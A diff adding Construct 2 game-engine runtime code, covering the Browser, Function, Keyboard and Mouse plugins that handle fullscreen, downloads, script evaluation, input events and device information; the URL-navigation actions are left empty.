+ var win = window["nwgui"]["Window"]["get"]();
+ win["focus"]();
+ }
+ else if (!this.is_arcade && !this.runtime.isDomFree)
+ window.focus();
+ };
+ Acts.prototype.Blur = function ()
+ {
+ if (this.runtime.isNodeWebkit)
+ {
+ var win = window["nwgui"]["Window"]["get"]();
+ win["blur"]();
+ }
+ else if (!this.is_arcade && !this.runtime.isDomFree)
+ window.blur();
+ };
+ Acts.prototype.GoBack = function ()
+ {
+ if (navigator["app"] && navigator["app"]["backHistory"])
+ navigator["app"]["backHistory"]();
+ else if (!this.is_arcade && !this.runtime.isDomFree && window.back)
+ window.back();
+ };
+ Acts.prototype.GoForward = function ()
+ {
+ if (!this.is_arcade && !this.runtime.isDomFree && window.forward)
+ window.forward();
+ };
+ Acts.prototype.GoHome = function ()
+ {
+ if (!this.is_arcade && !this.runtime.isDomFree && window.home)
+ window.home();
+ };
+ Acts.prototype.GoToURL = function (url, target)
+ {
+
+ };
+ Acts.prototype.GoToURLWindow = function (url, tag)
+ {
+
+ };
+ Acts.prototype.Reload = function ()
+ {
+ if (!this.is_arcade && !this.runtime.isDomFree)
+ window.location.reload();
+ };
+ var firstRequestFullscreen = true;
+ var crruntime = null;
+ function onFullscreenError(e)
+ {
+ if (console && console.warn)
+ console.warn("Fullscreen request failed: ", e);
+ crruntime["setSize"](window.innerWidth, window.innerHeight);
+ };
+ Acts.prototype.RequestFullScreen = function (stretchmode)
+ {
+ if (this.runtime.isDomFree)
+ {
+ cr.logexport("[Construct 2] Requesting fullscreen is not supported on this platform - the request has been ignored");
+ return;
+ }
+ if (stretchmode >= 2)
+ stretchmode += 1;
+ if (stretchmode === 6)
+ stretchmode = 2;
+ if (this.runtime.isNodeWebkit)
+ {
+ if (this.runtime.isDebug)
+ {
+ debuggerFullscreen(true);
+ }
+ else if (!this.runtime.isNodeFullscreen && window["nwgui"])
+ {
+ window["nwgui"]["Window"]["get"]()["enterFullscreen"]();
+ this.runtime.isNodeFullscreen = true;
+ this.runtime.fullscreen_scaling = (stretchmode >= 2 ? stretchmode : 0);
+ }
+ }
+ else
+ {
+ if (document["mozFullScreen"] || document["webkitIsFullScreen"] || !!document["msFullscreenElement"] || document["fullScreen"] || document["fullScreenElement"])
+ {
+ return;
+ }
+ this.runtime.fullscreen_scaling = (stretchmode >= 2 ? stretchmode : 0);
+ var elem = document.documentElement;
+ if (firstRequestFullscreen)
+ {
+ firstRequestFullscreen = false;
+ crruntime = this.runtime;
+ elem.addEventListener("mozfullscreenerror", onFullscreenError);
+ elem.addEventListener("webkitfullscreenerror", onFullscreenError);
+ elem.addEventListener("MSFullscreenError", onFullscreenError);
+ elem.addEventListener("fullscreenerror", onFullscreenError);
+ }
+ if (elem["requestFullscreen"])
+ elem["requestFullscreen"]();
+ else if (elem["mozRequestFullScreen"])
+ elem["mozRequestFullScreen"]();
+ else if (elem["msRequestFullscreen"])
+ elem["msRequestFullscreen"]();
+ else if (elem["webkitRequestFullScreen"])
+ {
+ if (typeof Element !== "undefined" && typeof Element["ALLOW_KEYBOARD_INPUT"] !== "undefined")
+ elem["webkitRequestFullScreen"](Element["ALLOW_KEYBOARD_INPUT"]);
+ else
+ elem["webkitRequestFullScreen"]();
+ }
+ }
+ };
+ Acts.prototype.CancelFullScreen = function ()
+ {
+ if (this.runtime.isDomFree)
+ {
+ cr.logexport("[Construct 2] Exiting fullscreen is not supported on this platform - the request has been ignored");
+ return;
+ }
+ if (this.runtime.isNodeWebkit)
+ {
+ if (this.runtime.isDebug)
+ {
+ debuggerFullscreen(false);
+ }
+ else if (this.runtime.isNodeFullscreen && window["nwgui"])
+ {
+ window["nwgui"]["Window"]["get"]()["leaveFullscreen"]();
+ this.runtime.isNodeFullscreen = false;
+ }
+ }
+ else
+ {
+ if (document["exitFullscreen"])
+ document["exitFullscreen"]();
+ else if (document["mozCancelFullScreen"])
+ document["mozCancelFullScreen"]();
+ else if (document["msExitFullscreen"])
+ document["msExitFullscreen"]();
+ else if (document["webkitCancelFullScreen"])
+ document["webkitCancelFullScreen"]();
+ }
+ };
+ Acts.prototype.Vibrate = function (pattern_)
+ {
+ try {
+ var arr = pattern_.split(",");
+ var i, len;
+ for (i = 0, len = arr.length; i < len; i++)
+ {
+ arr[i] = parseInt(arr[i], 10);
+ }
+ if (navigator["vibrate"])
+ navigator["vibrate"](arr);
+ else if (navigator["mozVibrate"])
+ navigator["mozVibrate"](arr);
+ else if (navigator["webkitVibrate"])
+ navigator["webkitVibrate"](arr);
+ else if (navigator["msVibrate"])
+ navigator["msVibrate"](arr);
+ }
+ catch (e) {}
+ };
+ Acts.prototype.InvokeDownload = function (url_, filename_)
+ {
+ var a = document.createElement("a");
+ if (typeof a["download"] === "undefined")
+ {
+ window.open(url_);
+ }
+ else
+ {
+ var body = document.getElementsByTagName("body")[0];
+ a.textContent = filename_;
+ a.href = url_;
+ a["download"] = filename_;
+ body.appendChild(a);
+ var clickEvent = new MouseEvent("click");
+ a.dispatchEvent(clickEvent);
+ body.removeChild(a);
+ }
+ };
+ Acts.prototype.InvokeDownloadString = function (str_, mimetype_, filename_)
+ {
+ var datauri = "data:" + mimetype_ + "," + encodeURIComponent(str_);
+ var a = document.createElement("a");
+ if (typeof a["download"] === "undefined")
+ {
+ window.open(datauri);
+ }
+ else
+ {
+ var body = document.getElementsByTagName("body")[0];
+ a.textContent = filename_;
+ a.href = datauri;
+ a["download"] = filename_;
+ body.appendChild(a);
+ var clickEvent = new MouseEvent("click");
+ a.dispatchEvent(clickEvent);
+ body.removeChild(a);
+ }
+ };
+ Acts.prototype.ConsoleLog = function (type_, msg_)
+ {
+ if (typeof console === "undefined")
+ return;
+ if (type_ === 0 && console.log)
+ console.log(msg_.toString());
+ if (type_ === 1 && console.warn)
+ console.warn(msg_.toString());
+ if (type_ === 2 && console.error)
+ console.error(msg_.toString());
+ };
+ Acts.prototype.ConsoleGroup = function (name_)
+ {
+ if (console && console.group)
+ console.group(name_);
+ };
+ Acts.prototype.ConsoleGroupEnd = function ()
+ {
+ if (console && console.groupEnd)
+ console.groupEnd();
+ };
+ Acts.prototype.ExecJs = function (js_)
+ {
+ try {
+ if (eval)
+ eval(js_);
+ }
+ catch (e)
+ {
+ if (console && console.error)
+ console.error("Error executing Javascript: ", e);
+ }
+ };
+ var orientations = [
+ "portrait",
+ "landscape",
+ "portrait-primary",
+ "portrait-secondary",
+ "landscape-primary",
+ "landscape-secondary"
+ ];
+ Acts.prototype.LockOrientation = function (o)
+ {
+ o = Math.floor(o);
+ if (o < 0 || o >= orientations.length)
+ return;
+ this.runtime.autoLockOrientation = false;
+ var orientation = orientations[o];
+ if (screen["orientation"] && screen["orientation"]["lock"])
+ screen["orientation"]["lock"](orientation);
+ else if (screen["lockOrientation"])
+ screen["lockOrientation"](orientation);
+ else if (screen["webkitLockOrientation"])
+ screen["webkitLockOrientation"](orientation);
+ else if (screen["mozLockOrientation"])
+ screen["mozLockOrientation"](orientation);
+ else if (screen["msLockOrientation"])
+ screen["msLockOrientation"](orientation);
+ };
+ Acts.prototype.UnlockOrientation = function ()
+ {
+ this.runtime.autoLockOrientation = false;
+ if (screen["orientation"] && screen["orientation"]["unlock"])
+ screen["orientation"]["unlock"]();
+ else if (screen["unlockOrientation"])
+ screen["unlockOrientation"]();
+ else if (screen["webkitUnlockOrientation"])
+ screen["webkitUnlockOrientation"]();
+ else if (screen["mozUnlockOrientation"])
+ screen["mozUnlockOrientation"]();
+ else if (screen["msUnlockOrientation"])
+ screen["msUnlockOrientation"]();
+ };
+ pluginProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.URL = function (ret)
+ {
+ ret.set_string(this.runtime.isDomFree ? "" : window.location.toString());
+ };
+ Exps.prototype.Protocol = function (ret)
+ {
+ ret.set_string(this.runtime.isDomFree ? "" : window.location.protocol);
+ };
+ Exps.prototype.Domain = function (ret)
+ {
+ ret.set_string(this.runtime.isDomFree ? "" : window.location.hostname);
+ };
+ Exps.prototype.PathName = function (ret)
+ {
+ ret.set_string(this.runtime.isDomFree ? "" : window.location.pathname);
+ };
+ Exps.prototype.Hash = function (ret)
+ {
+ ret.set_string(this.runtime.isDomFree ? "" : window.location.hash);
+ };
+ Exps.prototype.Referrer = function (ret)
+ {
+ ret.set_string(this.runtime.isDomFree ? "" : document.referrer);
+ };
+ Exps.prototype.Title = function (ret)
+ {
+ ret.set_string(this.runtime.isDomFree ? "" : document.title);
+ };
+ Exps.prototype.Name = function (ret)
+ {
+ ret.set_string(this.runtime.isDomFree ? "" : navigator.appName);
+ };
+ Exps.prototype.Version = function (ret)
+ {
+ ret.set_string(this.runtime.isDomFree ? "" : navigator.appVersion);
+ };
+ Exps.prototype.Language = function (ret)
+ {
+ if (navigator && navigator.language)
+ ret.set_string(navigator.language);
+ else
+ ret.set_string("");
+ };
+ Exps.prototype.Platform = function (ret)
+ {
+ ret.set_string(this.runtime.isDomFree ? "" : navigator.platform);
+ };
+ Exps.prototype.Product = function (ret)
+ {
+ if (navigator && navigator.product)
+ ret.set_string(navigator.product);
+ else
+ ret.set_string("");
+ };
+ Exps.prototype.Vendor = function (ret)
+ {
+ if (navigator && navigator.vendor)
+ ret.set_string(navigator.vendor);
+ else
+ ret.set_string("");
+ };
+ Exps.prototype.UserAgent = function (ret)
+ {
+ ret.set_string(this.runtime.isDomFree ? "" : navigator.userAgent);
+ };
+ Exps.prototype.QueryString = function (ret)
+ {
+ ret.set_string(this.runtime.isDomFree ? "" : window.location.search);
+ };
+ Exps.prototype.QueryParam = function (ret, paramname)
+ {
+ if (this.runtime.isDomFree)
+ {
+ ret.set_string("");
+ return;
+ }
+ var match = RegExp('[?&]' + paramname + '=([^&]*)').exec(window.location.search);
+ if (match)
+ ret.set_string(decodeURIComponent(match[1].replace(/\+/g, ' ')));
+ else
+ ret.set_string("");
+ };
+ Exps.prototype.Bandwidth = function (ret)
+ {
+ var connection = navigator["connection"] || navigator["mozConnection"] || navigator["webkitConnection"];
+ if (!connection)
+ ret.set_float(Number.POSITIVE_INFINITY);
+ else
+ {
+ if (typeof connection["bandwidth"] !== "undefined")
+ ret.set_float(connection["bandwidth"]);
+ else if (typeof connection["downlinkMax"] !== "undefined")
+ ret.set_float(connection["downlinkMax"]);
+ else
+ ret.set_float(Number.POSITIVE_INFINITY);
+ }
+ };
+ Exps.prototype.ConnectionType = function (ret)
+ {
+ var connection = navigator["connection"] || navigator["mozConnection"] || navigator["webkitConnection"];
+ if (!connection)
+ ret.set_string("unknown");
+ else
+ {
+ ret.set_string(connection["type"] || "unknown");
+ }
+ };
+ Exps.prototype.BatteryLevel = function (ret)
+ {
+ var battery = navigator["battery"] || navigator["mozBattery"] || navigator["webkitBattery"];
+ if (battery)
+ {
+ ret.set_float(battery["level"]);
+ }
+ else
+ {
+ maybeLoadBatteryManager();
+ if (batteryManager)
+ {
+ ret.set_float(batteryManager["level"]);
+ }
+ else
+ {
+ ret.set_float(1); // not supported/unknown: assume charged
+ }
+ }
+ };
+ Exps.prototype.BatteryTimeLeft = function (ret)
+ {
+ var battery = navigator["battery"] || navigator["mozBattery"] || navigator["webkitBattery"];
+ if (battery)
+ {
+ ret.set_float(battery["dischargingTime"]);
+ }
+ else
+ {
+ maybeLoadBatteryManager();
+ if (batteryManager)
+ {
+ ret.set_float(batteryManager["dischargingTime"]);
+ }
+ else
+ {
+ ret.set_float(Number.POSITIVE_INFINITY); // not supported/unknown: assume infinite time left
+ }
+ }
+ };
+ Exps.prototype.ExecJS = function (ret, js_)
+ {
+ if (!eval)
+ {
+ ret.set_any(0);
+ return;
+ }
+ var result = 0;
+ try {
+ result = eval(js_);
+ }
+ catch (e)
+ {
+ if (console && console.error)
+ console.error("Error executing Javascript: ", e);
+ }
+ if (typeof result === "number")
+ ret.set_any(result);
+ else if (typeof result === "string")
+ ret.set_any(result);
+ else if (typeof result === "boolean")
+ ret.set_any(result ? 1 : 0);
+ else
+ ret.set_any(0);
+ };
+ Exps.prototype.ScreenWidth = function (ret)
+ {
+ ret.set_int(screen.width);
+ };
+ Exps.prototype.ScreenHeight = function (ret)
+ {
+ ret.set_int(screen.height);
+ };
+ Exps.prototype.DevicePixelRatio = function (ret)
+ {
+ ret.set_float(this.runtime.devicePixelRatio);
+ };
+ Exps.prototype.WindowInnerWidth = function (ret)
+ {
+ ret.set_int(window.innerWidth);
+ };
+ Exps.prototype.WindowInnerHeight = function (ret)
+ {
+ ret.set_int(window.innerHeight);
+ };
+ Exps.prototype.WindowOuterWidth = function (ret)
+ {
+ ret.set_int(window.outerWidth);
+ };
+ Exps.prototype.WindowOuterHeight = function (ret)
+ {
+ ret.set_int(window.outerHeight);
+ };
+ pluginProto.exps = new Exps();
+}());
+;
+;
+cr.plugins_.Function = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var pluginProto = cr.plugins_.Function.prototype;
+ pluginProto.Type = function(plugin)
+ {
+ this.plugin = plugin;
+ this.runtime = plugin.runtime;
+ };
+ var typeProto = pluginProto.Type.prototype;
+ typeProto.onCreate = function()
+ {
+ };
+ pluginProto.Instance = function(type)
+ {
+ this.type = type;
+ this.runtime = type.runtime;
+ };
+ var instanceProto = pluginProto.Instance.prototype;
+ var funcStack = [];
+ var funcStackPtr = -1;
+ var isInPreview = false; // set in onCreate
+ function FuncStackEntry()
+ {
+ this.name = "";
+ this.retVal = 0;
+ this.params = [];
+ };
+ function pushFuncStack()
+ {
+ funcStackPtr++;
+ if (funcStackPtr === funcStack.length)
+ funcStack.push(new FuncStackEntry());
+ return funcStack[funcStackPtr];
+ };
+ function getCurrentFuncStack()
+ {
+ if (funcStackPtr < 0)
+ return null;
+ return funcStack[funcStackPtr];
+ };
+ function getOneAboveFuncStack()
+ {
+ if (!funcStack.length)
+ return null;
+ var i = funcStackPtr + 1;
+ if (i >= funcStack.length)
+ i = funcStack.length - 1;
+ return funcStack[i];
+ };
+ function popFuncStack()
+ {
+;
+ funcStackPtr--;
+ };
+ instanceProto.onCreate = function()
+ {
+ isInPreview = (typeof cr_is_preview !== "undefined");
+ var self = this;
+ window["c2_callFunction"] = function (name_, params_)
+ {
+ var i, len, v;
+ var fs = pushFuncStack();
+ fs.name = name_.toLowerCase();
+ fs.retVal = 0;
+ if (params_)
+ {
+ fs.params.length = params_.length;
+ for (i = 0, len = params_.length; i < len; ++i)
+ {
+ v = params_[i];
+ if (typeof v === "number" || typeof v === "string")
+ fs.params[i] = v;
+ else if (typeof v === "boolean")
+ fs.params[i] = (v ? 1 : 0);
+ else
+ fs.params[i] = 0;
+ }
+ }
+ else
+ {
+ cr.clearArray(fs.params);
+ }
+ self.runtime.trigger(cr.plugins_.Function.prototype.cnds.OnFunction, self, fs.name);
+ popFuncStack();
+ return fs.retVal;
+ };
+ };
+ function Cnds() {};
+ Cnds.prototype.OnFunction = function (name_)
+ {
+ var fs = getCurrentFuncStack();
+ if (!fs)
+ return false;
+ return cr.equals_nocase(name_, fs.name);
+ };
+ Cnds.prototype.CompareParam = function (index_, cmp_, value_)
+ {
+ var fs = getCurrentFuncStack();
+ if (!fs)
+ return false;
+ index_ = cr.floor(index_);
+ if (index_ < 0 || index_ >= fs.params.length)
+ return false;
+ return cr.do_cmp(fs.params[index_], cmp_, value_);
+ };
+ pluginProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.CallFunction = function (name_, params_)
+ {
+ var fs = pushFuncStack();
+ fs.name = name_.toLowerCase();
+ fs.retVal = 0;
+ cr.shallowAssignArray(fs.params, params_);
+ var ran = this.runtime.trigger(cr.plugins_.Function.prototype.cnds.OnFunction, this, fs.name);
+ if (isInPreview && !ran)
+ {
+;
+ }
+ popFuncStack();
+ };
+ Acts.prototype.SetReturnValue = function (value_)
+ {
+ var fs = getCurrentFuncStack();
+ if (fs)
+ fs.retVal = value_;
+ else
+;
+ };
+ Acts.prototype.CallExpression = function (unused)
+ {
+ };
+ pluginProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.ReturnValue = function (ret)
+ {
+ var fs = getOneAboveFuncStack();
+ if (fs)
+ ret.set_any(fs.retVal);
+ else
+ ret.set_int(0);
+ };
+ Exps.prototype.ParamCount = function (ret)
+ {
+ var fs = getCurrentFuncStack();
+ if (fs)
+ ret.set_int(fs.params.length);
+ else
+ {
+;
+ ret.set_int(0);
+ }
+ };
+ Exps.prototype.Param = function (ret, index_)
+ {
+ index_ = cr.floor(index_);
+ var fs = getCurrentFuncStack();
+ if (fs)
+ {
+ if (index_ >= 0 && index_ < fs.params.length)
+ {
+ ret.set_any(fs.params[index_]);
+ }
+ else
+ {
+;
+ ret.set_int(0);
+ }
+ }
+ else
+ {
+;
+ ret.set_int(0);
+ }
+ };
+ Exps.prototype.Call = function (ret, name_)
+ {
+ var fs = pushFuncStack();
+ fs.name = name_.toLowerCase();
+ fs.retVal = 0;
+ cr.clearArray(fs.params);
+ var i, len;
+ for (i = 2, len = arguments.length; i < len; i++)
+ fs.params.push(arguments[i]);
+ var ran = this.runtime.trigger(cr.plugins_.Function.prototype.cnds.OnFunction, this, fs.name);
+ if (isInPreview && !ran)
+ {
+;
+ }
+ popFuncStack();
+ ret.set_any(fs.retVal);
+ };
+ pluginProto.exps = new Exps();
+}());
+;
+;
+cr.plugins_.Keyboard = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var pluginProto = cr.plugins_.Keyboard.prototype;
+ pluginProto.Type = function(plugin)
+ {
+ this.plugin = plugin;
+ this.runtime = plugin.runtime;
+ };
+ var typeProto = pluginProto.Type.prototype;
+ typeProto.onCreate = function()
+ {
+ };
+ pluginProto.Instance = function(type)
+ {
+ this.type = type;
+ this.runtime = type.runtime;
+ this.keyMap = new Array(256); // stores key up/down state
+ this.usedKeys = new Array(256);
+ this.triggerKey = 0;
+ };
+ var instanceProto = pluginProto.Instance.prototype;
+ instanceProto.onCreate = function()
+ {
+ var self = this;
+ if (!this.runtime.isDomFree)
+ {
+ jQuery(document).keydown(
+ function(info) {
+ self.onKeyDown(info);
+ }
+ );
+ jQuery(document).keyup(
+ function(info) {
+ self.onKeyUp(info);
+ }
+ );
+ }
+ };
+ var keysToBlockWhenFramed = [32, 33, 34, 35, 36, 37, 38, 39, 40, 44];
+ instanceProto.onKeyDown = function (info)
+ {
+ var alreadyPreventedDefault = false;
+ if (window != window.top && keysToBlockWhenFramed.indexOf(info.which) > -1)
+ {
+ info.preventDefault();
+ alreadyPreventedDefault = true;
+ info.stopPropagation();
+ }
+ if (this.keyMap[info.which])
+ {
+ if (this.usedKeys[info.which] && !alreadyPreventedDefault)
+ info.preventDefault();
+ return;
+ }
+ this.keyMap[info.which] = true;
+ this.triggerKey = info.which;
+ this.runtime.isInUserInputEvent = true;
+ this.runtime.trigger(cr.plugins_.Keyboard.prototype.cnds.OnAnyKey, this);
+ var eventRan = this.runtime.trigger(cr.plugins_.Keyboard.prototype.cnds.OnKey, this);
+ var eventRan2 = this.runtime.trigger(cr.plugins_.Keyboard.prototype.cnds.OnKeyCode, this);
+ this.runtime.isInUserInputEvent = false;
+ if (eventRan || eventRan2)
+ {
+ this.usedKeys[info.which] = true;
+ if (!alreadyPreventedDefault)
+ info.preventDefault();
+ }
+ };
+ instanceProto.onKeyUp = function (info)
+ {
+ this.keyMap[info.which] = false;
+ this.triggerKey = info.which;
+ this.runtime.isInUserInputEvent = true;
+ this.runtime.trigger(cr.plugins_.Keyboard.prototype.cnds.OnAnyKeyReleased, this);
+ var eventRan = this.runtime.trigger(cr.plugins_.Keyboard.prototype.cnds.OnKeyReleased, this);
+ var eventRan2 = this.runtime.trigger(cr.plugins_.Keyboard.prototype.cnds.OnKeyCodeReleased, this);
+ this.runtime.isInUserInputEvent = false;
+ if (eventRan || eventRan2 || this.usedKeys[info.which])
+ {
+ this.usedKeys[info.which] = true;
+ info.preventDefault();
+ }
+ };
+ instanceProto.onWindowBlur = function ()
+ {
+ var i;
+ for (i = 0; i < 256; ++i)
+ {
+ if (!this.keyMap[i])
+ continue; // key already up
+ this.keyMap[i] = false;
+ this.triggerKey = i;
+ this.runtime.trigger(cr.plugins_.Keyboard.prototype.cnds.OnAnyKeyReleased, this);
+ var eventRan = this.runtime.trigger(cr.plugins_.Keyboard.prototype.cnds.OnKeyReleased, this);
+ var eventRan2 = this.runtime.trigger(cr.plugins_.Keyboard.prototype.cnds.OnKeyCodeReleased, this);
+ if (eventRan || eventRan2)
+ this.usedKeys[i] = true;
+ }
+ };
+ instanceProto.saveToJSON = function ()
+ {
+ return { "triggerKey": this.triggerKey };
+ };
+ instanceProto.loadFromJSON = function (o)
+ {
+ this.triggerKey = o["triggerKey"];
+ };
+ function Cnds() {};
+ Cnds.prototype.IsKeyDown = function(key)
+ {
+ return this.keyMap[key];
+ };
+ Cnds.prototype.OnKey = function(key)
+ {
+ return (key === this.triggerKey);
+ };
+ Cnds.prototype.OnAnyKey = function(key)
+ {
+ return true;
+ };
+ Cnds.prototype.OnAnyKeyReleased = function(key)
+ {
+ return true;
+ };
+ Cnds.prototype.OnKeyReleased = function(key)
+ {
+ return (key === this.triggerKey);
+ };
+ Cnds.prototype.IsKeyCodeDown = function(key)
+ {
+ key = Math.floor(key);
+ if (key < 0 || key >= this.keyMap.length)
+ return false;
+ return this.keyMap[key];
+ };
+ Cnds.prototype.OnKeyCode = function(key)
+ {
+ return (key === this.triggerKey);
+ };
+ Cnds.prototype.OnKeyCodeReleased = function(key)
+ {
+ return (key === this.triggerKey);
+ };
+ pluginProto.cnds = new Cnds();
+ function Acts() {};
+ pluginProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.LastKeyCode = function (ret)
+ {
+ ret.set_int(this.triggerKey);
+ };
+ function fixedStringFromCharCode(kc)
+ {
+ kc = Math.floor(kc);
+ switch (kc) {
+ case 8: return "backspace";
+ case 9: return "tab";
+ case 13: return "enter";
+ case 16: return "shift";
+ case 17: return "control";
+ case 18: return "alt";
+ case 19: return "pause";
+ case 20: return "capslock";
+ case 27: return "esc";
+ case 33: return "pageup";
+ case 34: return "pagedown";
+ case 35: return "end";
+ case 36: return "home";
+ case 37: return "โ";
+ case 38: return "โ";
+ case 39: return "โ";
+ case 40: return "โ";
+ case 45: return "insert";
+ case 46: return "del";
+ case 91: return "left window key";
+ case 92: return "right window key";
+ case 93: return "select";
+ case 96: return "numpad 0";
+ case 97: return "numpad 1";
+ case 98: return "numpad 2";
+ case 99: return "numpad 3";
+ case 100: return "numpad 4";
+ case 101: return "numpad 5";
+ case 102: return "numpad 6";
+ case 103: return "numpad 7";
+ case 104: return "numpad 8";
+ case 105: return "numpad 9";
+ case 106: return "numpad *";
+ case 107: return "numpad +";
+ case 109: return "numpad -";
+ case 110: return "numpad .";
+ case 111: return "numpad /";
+ case 112: return "F1";
+ case 113: return "F2";
+ case 114: return "F3";
+ case 115: return "F4";
+ case 116: return "F5";
+ case 117: return "F6";
+ case 118: return "F7";
+ case 119: return "F8";
+ case 120: return "F9";
+ case 121: return "F10";
+ case 122: return "F11";
+ case 123: return "F12";
+ case 144: return "numlock";
+ case 145: return "scroll lock";
+ case 186: return ";";
+ case 187: return "=";
+ case 188: return ",";
+ case 189: return "-";
+ case 190: return ".";
+ case 191: return "/";
+ case 192: return "'";
+ case 219: return "[";
+ case 220: return "\\";
+ case 221: return "]";
+ case 222: return "#";
+ case 223: return "`";
+ default: return String.fromCharCode(kc);
+ }
+ };
+ Exps.prototype.StringFromKeyCode = function (ret, kc)
+ {
+ ret.set_string(fixedStringFromCharCode(kc));
+ };
+ pluginProto.exps = new Exps();
+}());
+;
+;
+cr.plugins_.Mouse = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var pluginProto = cr.plugins_.Mouse.prototype;
+ pluginProto.Type = function(plugin)
+ {
+ this.plugin = plugin;
+ this.runtime = plugin.runtime;
+ };
+ var typeProto = pluginProto.Type.prototype;
+ typeProto.onCreate = function()
+ {
+ };
+ pluginProto.Instance = function(type)
+ {
+ this.type = type;
+ this.runtime = type.runtime;
+ this.buttonMap = new Array(4); // mouse down states
+ this.mouseXcanvas = 0; // mouse position relative to canvas
+ this.mouseYcanvas = 0;
+ this.triggerButton = 0;
+ this.triggerType = 0;
+ this.triggerDir = 0;
+ this.handled = false;
+ };
+ var instanceProto = pluginProto.Instance.prototype;
+ instanceProto.onCreate = function()
+ {
+ var self = this;
+ if (!this.runtime.isDomFree)
+ {
+ jQuery(document).mousemove(
+ function(info) {
+ self.onMouseMove(info);
+ }
+ );
+ jQuery(document).mousedown(
+ function(info) {
+ self.onMouseDown(info);
+ }
+ );
+ jQuery(document).mouseup(
+ function(info) {
+ self.onMouseUp(info);
+ }
+ );
+ jQuery(document).dblclick(
+ function(info) {
+ self.onDoubleClick(info);
+ }
+ );
+ var wheelevent = function(info) {
+ self.onWheel(info);
+ };
+ document.addEventListener("mousewheel", wheelevent, false);
+ document.addEventListener("DOMMouseScroll", wheelevent, false);
+ }
+ };
+ var dummyoffset = {left: 0, top: 0};
+ instanceProto.onMouseMove = function(info)
+ {
+ var offset = this.runtime.isDomFree ? dummyoffset : jQuery(this.runtime.canvas).offset();
+ this.mouseXcanvas = info.pageX - offset.left;
+ this.mouseYcanvas = info.pageY - offset.top;
+ };
+ instanceProto.mouseInGame = function ()
+ {
+ if (this.runtime.fullscreen_mode > 0)
+ return true;
+ return this.mouseXcanvas >= 0 && this.mouseYcanvas >= 0
+ && this.mouseXcanvas < this.runtime.width && this.mouseYcanvas < this.runtime.height;
+ };
+ instanceProto.onMouseDown = function(info)
+ {
+ if (!this.mouseInGame())
+ return;
+ this.buttonMap[info.which] = true;
+ this.runtime.isInUserInputEvent = true;
+ this.runtime.trigger(cr.plugins_.Mouse.prototype.cnds.OnAnyClick, this);
+ this.triggerButton = info.which - 1; // 1-based
+ this.triggerType = 0; // single click
+ this.runtime.trigger(cr.plugins_.Mouse.prototype.cnds.OnClick, this);
+ this.runtime.trigger(cr.plugins_.Mouse.prototype.cnds.OnObjectClicked, this);
+ this.runtime.isInUserInputEvent = false;
+ };
+ instanceProto.onMouseUp = function(info)
+ {
+ if (!this.buttonMap[info.which])
+ return;
+ if (this.runtime.had_a_click && !this.runtime.isMobile)
+ info.preventDefault();
+ this.runtime.had_a_click = true;
+ this.buttonMap[info.which] = false;
+ this.runtime.isInUserInputEvent = true;
+ this.triggerButton = info.which - 1; // 1-based
+ this.runtime.trigger(cr.plugins_.Mouse.prototype.cnds.OnRelease, this);
+ this.runtime.isInUserInputEvent = false;
+ };
+ instanceProto.onDoubleClick = function(info)
+ {
+ if (!this.mouseInGame())
+ return;
+ info.preventDefault();
+ this.runtime.isInUserInputEvent = true;
+ this.triggerButton = info.which - 1; // 1-based
+ this.triggerType = 1; // double click
+ this.runtime.trigger(cr.plugins_.Mouse.prototype.cnds.OnClick, this);
+ this.runtime.trigger(cr.plugins_.Mouse.prototype.cnds.OnObjectClicked, this);
+ this.runtime.isInUserInputEvent = false;
+ };
+ instanceProto.onWheel = function (info)
+ {
+ var delta = info.wheelDelta ? info.wheelDelta : info.detail ? -info.detail : 0;
+ this.triggerDir = (delta < 0 ? 0 : 1);
+ this.handled = false;
+ this.runtime.isInUserInputEvent = true;
+ this.runtime.trigger(cr.plugins_.Mouse.prototype.cnds.OnWheel, this);
+ this.runtime.isInUserInputEvent = false;
+ if (this.handled && cr.isCanvasInputEvent(info))
+ info.preventDefault();
+ };
+ instanceProto.onWindowBlur = function ()
+ {
+ var i, len;
+ for (i = 0, len = this.buttonMap.length; i < len; ++i)
+ {
+ if (!this.buttonMap[i])
+ continue;
+ this.buttonMap[i] = false;
+ this.triggerButton = i - 1;
+ this.runtime.trigger(cr.plugins_.Mouse.prototype.cnds.OnRelease, this);
+ }
+ };
+ function Cnds() {};
+ Cnds.prototype.OnClick = function (button, type)
+ {
+ return button === this.triggerButton && type === this.triggerType;
+ };
+ Cnds.prototype.OnAnyClick = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.IsButtonDown = function (button)
+ {
+ return this.buttonMap[button + 1]; // jQuery uses 1-based buttons for some reason
+ };
+ Cnds.prototype.OnRelease = function (button)
+ {
+ return button === this.triggerButton;
+ };
+ Cnds.prototype.IsOverObject = function (obj)
+ {
+ var cnd = this.runtime.getCurrentCondition();
+ var mx = this.mouseXcanvas;
+ var my = this.mouseYcanvas;
+ return cr.xor(this.runtime.testAndSelectCanvasPointOverlap(obj, mx, my, cnd.inverted), cnd.inverted);
+ };
+ Cnds.prototype.OnObjectClicked = function (button, type, obj)
+ {
+ if (button !== this.triggerButton || type !== this.triggerType)
+ return false; // wrong click type
+ return this.runtime.testAndSelectCanvasPointOverlap(obj, this.mouseXcanvas, this.mouseYcanvas, false);
+ };
+ Cnds.prototype.OnWheel = function (dir)
+ {
+ this.handled = true;
+ return dir === this.triggerDir;
+ };
+ pluginProto.cnds = new Cnds();
+ function Acts() {};
+ var lastSetCursor = null;
+ Acts.prototype.SetCursor = function (c)
+ {
+ if (this.runtime.isDomFree)
+ return;
+ var cursor_style = ["auto", "pointer", "text", "crosshair", "move", "help", "wait", "none"][c];
+ if (lastSetCursor === cursor_style)
+ return; // redundant
+ lastSetCursor = cursor_style;
+ document.body.style.cursor = cursor_style;
+ };
+ Acts.prototype.SetCursorSprite = function (obj)
+ {
+ if (this.runtime.isDomFree || this.runtime.isMobile || !obj)
+ return;
+ var inst = obj.getFirstPicked();
+ if (!inst || !inst.curFrame)
+ return;
+ var frame = inst.curFrame;
+ if (lastSetCursor === frame)
+ return; // already set this frame
+ lastSetCursor = frame;
+ var datauri = frame.getDataUri();
+ var cursor_style = "url(" + datauri + ") " + Math.round(frame.hotspotX * frame.width) + " " + Math.round(frame.hotspotY * frame.height) + ", auto";
